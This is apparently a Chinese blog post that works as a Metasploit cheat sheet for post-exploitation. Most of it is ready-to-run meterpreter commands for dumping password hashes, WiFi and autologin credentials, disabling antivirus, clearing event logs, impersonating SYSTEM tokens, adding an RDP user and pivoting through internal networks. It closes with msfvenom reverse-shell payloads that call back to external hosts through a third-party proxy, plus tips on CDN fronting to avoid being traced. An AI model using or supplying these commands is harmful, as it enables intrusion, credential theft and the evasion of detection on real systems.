MSF常用指令

常用msf插件

run arp_scanner -r 192.168.183.1/24  # 利用arp进行存活主机扫描
run winenum  # 自动化执行一些检测脚本
run credcollect # 获取用户hash
run domain_list_gen  # 获取域管理账户列表
run post/multi/gather/env  # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c  # 列出当前登录用户
run post/linux/gather/checkvm  # 是否虚拟机
run post/windows/gather/checkvm  # 是否虚拟机
run post/windows/gather/forensics/enum_drives  # 查看磁盘分区信息
run post/windows/gather/enum_applications  # 获取安装软件信息
run post/windows/gather/dumplinks   # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie  # 获取IE缓存
run post/windows/gather/enum_firefox  # 获取firefox缓存
run post/windows/gather/enum_chrome   # 获取Chrome缓存
run post/multi/recon/local_exploit_suggester  # 获取本地提权漏洞
run post/windows/gather/enum_patches  # 获取补丁信息
run post/windows/gather/enum_domain  # 查找域控
run post/windows/gather/enum_snmp  # 获取snmp团体名称
run post/windows/gather/credentials/vnc  # 获取vnc密码
run post/windows/wlan/wlan_profile  # 用于读取目标主机WiFi密码
run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot

run post/windows/manage/killav # 关闭杀毒软件
Run event_manager -c # 清除所有攻击日志

run post/windows/manage/enable_rdp [[模块来打开远程桌⾯]]
run post/windows/manage/migrate [[⾃动进程迁移]] 
run post/windows/gather/checkvm [[查看⽬标主机是否运⾏在虚拟机上]] 
run post/windows/manage/killav [[关闭杀毒软件]] 
run post/windows/manage/enable_rdp [[开启远程桌⾯服务]] 
run post/windows/manage/autoroute [[查看路由信息]] 
run post/windows/gather/enum_logged_on_users [[列举当前登录的⽤户]] 
run post/windows/gather/enum_applications [[列举应⽤程序]] 
run post/windows/gather/credentials/windows_autologin [[抓取⾃动登录的⽤户名和密码]] 
run post/windows/gather/smart_hashdump [[dump出所有⽤户的hash]] run getgui -u hack -p 123
run post/windows/gather/enum_patches # 补丁信息 
run post/multi/recon/local_exploit_suggester # 查询可利⽤的漏洞
run post/windows/gather/enum_patches # 补丁信息 
run post/multi/recon/local_exploit_suggester # 查询可利⽤的漏洞

mshta马模块

windows/misc/hta_server

获取内网段

run get_local_subnets

msf提权模块

use multi/recon/local_exploit_suggester

窃取令牌

meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM

使用TCP协议扫描内网事例

use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.2.1-255
set ports 21,22,25,443,445,1433,3306
set threads 20
exploit

msf内网渗透路由配置

route add 0.0.0.0 0.0.0.0 1
# add表示添加路由
# 第一个0.0.0.0表示到达任意地址
# 第二个0.0.0.0表示子网掩码
# 1表示session编号

msf域查询相关

run post/windows/gather/enum_ad_computers # 查看域内计算机列表
run post/windows/gather/enum_domains # 枚举当前主机可以看到的域以及该域的域控制器

上线自动迁移进程(上线后将shell进程迁移到了资源管理器)

set autorunscript migrate -n explorer.exe

MSF木马走代理进行上线

msfvenom -p linux/armle/meterpreter_reverse_http lhost=23.224.49.122 lport=80 HttpProxyType=http HttpProxyHost=proxy.nhri.org.tw HttpProxyPort=3128 -f elf -o  ~/temp/pup

或者

msfvenom -p linux/armle/meterpreter/reverse_tcp lhost=23.224.49.122 lport=61148 HttpProxyType=http HttpProxyHost=proxy.nhri.org.tw HttpProxyPort=3128 -f elf -o  ~/temp/pup

MSF/CS进行CDN防溯源上线
二级域名:https://ym.qinglin.co/home
cdn购买:https://idc.9a18.cn/

msfvenom -p windows/x64/meterpreter/reverse_http lhost=yutre.freenomyyds.tk lport=80 -f num
posted @ 2023-11-08 14:28  江城子!  阅读(625)  评论(0)    收藏  举报
levels of contents